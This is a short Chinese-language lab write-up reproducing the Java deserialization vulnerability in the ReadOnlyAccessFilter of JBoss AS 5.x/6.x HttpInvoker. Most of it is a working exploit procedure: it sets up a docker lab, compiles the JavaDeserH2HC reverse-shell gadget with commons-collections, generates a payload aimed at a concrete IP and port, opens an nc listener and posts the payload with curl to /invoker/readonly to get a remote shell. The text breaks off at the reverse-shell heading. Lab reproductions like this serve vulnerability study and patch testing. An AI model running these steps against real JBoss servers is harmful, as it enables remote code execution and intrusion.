漏洞描述
该漏洞为Java
反序列化错误类型,存在于Jboss
的HttpInvoker
组件中的 ReadOnlyAccessFilter
过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
影响版本
漏洞影响5.x和6.x版本的JBOSSAS
环境搭建
1 | docker-compose up -d |
首次执行时会有1~3分钟时间初始化,初始化完成后访问http://your-ip:8080/
即可看到JBoss
默认页面。
漏洞复现
访问/invoker/readonly
,返回500,说明页面存在,此页面存在反序列化漏洞。
利用工具:JavaDeserH2HC,我们选择一个Gadget
:ReverseShellCommonsCollectionsHashMap
,编译并生成序列化数据:
生成ReverseShellCommonsCollectionsHashMap.class
1 | javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java |
生成ReverseShellCommonsCollectionsHashMap.ser
1 | java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 47.101.62.20:1234(ip是nc所在的ip) |
利用,监听端口:
1 | nc -lvp 1234 |
发送poc:
1 | curl http://47.101.62.20:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser |
反弹shell: